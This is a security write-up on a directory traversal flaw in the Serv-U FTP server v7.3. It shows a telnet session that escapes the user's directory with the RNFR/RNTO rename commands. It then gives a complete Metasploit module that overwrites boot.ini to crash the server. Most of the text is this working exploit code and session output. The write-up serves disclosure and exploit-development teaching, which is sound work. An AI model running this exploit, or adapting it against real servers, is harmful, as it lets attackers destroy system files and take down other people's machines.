Serv-U Ftp Directory Traversal Vulnerability
– By Thoufique Haq

Description:

The serv-u rename and make directory commands do not check for escape charaters in parameters and this can be used to escape out of the users working directory.

References :

http://www.milw0rm.com/exploits/6661
Discovered by dmnt on 2008-10-01

Triggering the vulnerability:

```
>telnet 192.168.10.2 21
Trying 192.168.10.2...
Connected to 192.168.10.2.
Escape character is '^]'.
220 Serv-U FTP Server v7.3 ready...
user root
331 User name okay, need password.
pass toor
230 User logged in, proceed.
pasv
227 Entering Passive Mode (192,168,10,2,11,200)
stor foo.txt
150 Opening ASCII mode data connection for vuln.txt.
rnfr foo.txt
350 File or directory exists, ready for destination name.
rnto ../bar.txt
250 RNTO command successful.
```

Developing a metasploit module to DOS the server:

We will be looking at a denial of service on the server by replacing the boot.ini file which lives in the topmost directory. We will be using the rename command in ftp to replace boot.ini.

Using the metasploit include Msf::Exploit::Remote::Ftp API we can churn out raw FTP commands to the servu server. A good reference for raw ftp commands can be found in the FTP RFC http://www.faqs.org/rfcs/rfc959.html. We will be using RNFR and RNTO commands which are used for renaming and moving files.

From metasploit home as reference the module is placed in /auxiliary/dos/ftp/ in its relevant category.

A check subroutines checks the returned FTP banner to see if it is vulnerble. In the run subroutine we use the send_cmd() command to serve up our exploit. We ensure that the topmost root directory is reached by throwing in a few escape sequences (../).

```
# Serv-U  FTPD directory traversal vulnerability in REN command
# Written by Thoufique
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
	include Msf::Exploit::Remote::Ftp
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Serv-U Directory Traversal vulnerability in REN command',
			'Description'    => %q{
				This is an exploit that overwrites boot.ini file DOS'ing the server. It uses
				a directory traversal vulnerability in REN command.
			},
			'Author'         => [ 'Thoufique' ],
			'License'        => MSF_LICENSE,
			'Version'        => '1',
			'References'     =>
				[
					[ 'URL', 'http://www.milw0rm.com/exploits/6661'],
				],
			'Privileged'     => false,
			'Platform'       => 'win',
			'DisclosureDate' => 'Oct 01 2008',
			'DefaultTarget' => 0))
		register_options([
			OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
			OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
		])
	end

	def check
		connect
		disconnect
		if (banner =~ /Serv-U FTP Server v7.3 /)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def run
		connect_login
		print_status("Replacing boot.ini with directory traversal")
		file = 'test.txt'
		target = '../../../../../../../../../boot.ini'
		print_status("Sending REN command with traversal")
		send_cmd(['RNFR', file], false)
		sleep 1
		send_cmd(['RNTO', target], false)
		print_status("Done")
		disconnect
	end
end
```